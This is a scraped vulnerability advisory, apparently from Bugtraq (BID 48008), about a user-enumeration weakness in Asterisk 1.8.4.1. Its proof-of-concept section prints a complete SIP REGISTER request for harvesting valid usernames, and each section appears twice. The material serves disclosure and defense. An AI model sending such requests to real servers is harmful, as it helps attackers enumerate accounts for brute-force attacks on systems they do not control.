Asterisk SIP 'REGISTER' Request User Enumeration Weakness
BID:48008
Info
Asterisk SIP 'REGISTER' Request User Enumeration Weakness
| Bugtraq ID: | 48008 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 26 2011 12:00AM |
| Updated: | May 26 2011 12:00AM |
| Credit: | Francesco Tornieri |
| Vulnerable: |
Asterisk Asterisk 1.8.4 1 |
| Not Vulnerable: | |
Discussion
Asterisk SIP 'REGISTER' Request User Enumeration Weakness
Asterisk is prone to a user-enumeration weakness.
An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks.
This issue affects Asterisk 1.8.4.1; other versions may also be affected.
Asterisk is prone to a user-enumeration weakness.
An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks.
This issue affects Asterisk 1.8.4.1; other versions may also be affected.
Exploit / POC
Asterisk SIP 'REGISTER' Request User Enumeration Weakness
An attacker can exploit this issue by supplying the application with 'REGISTER' requests.
The following example request is available:
REGISTER sip:192.168.2.1 SIP/2.0
CSeq: 123 REGISTER
Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
User-Agent: TT
From: <sip:[email protected]>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
Call-ID: 2e2f07e0499cec3abf7045ef3610f0f2
To: <sip:[email protected]>
Refer-To: sip:[email protected]
Contact: <sip:500@localhost>;q=1
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING
Expires: 3600
Content-Length: 28000
Max-Forwards: 70
An attacker can exploit this issue by supplying the application with 'REGISTER' requests.
The following example request is available:
REGISTER sip:192.168.2.1 SIP/2.0
CSeq: 123 REGISTER
Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
User-Agent: TT
From: <sip:[email protected]>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
Call-ID: 2e2f07e0499cec3abf7045ef3610f0f2
To: <sip:[email protected]>
Refer-To: sip:[email protected]
Contact: <sip:500@localhost>;q=1
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING
Expires: 3600
Content-Length: 28000
Max-Forwards: 70
Solution / Fix
Asterisk SIP 'REGISTER' Request User Enumeration Weakness
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].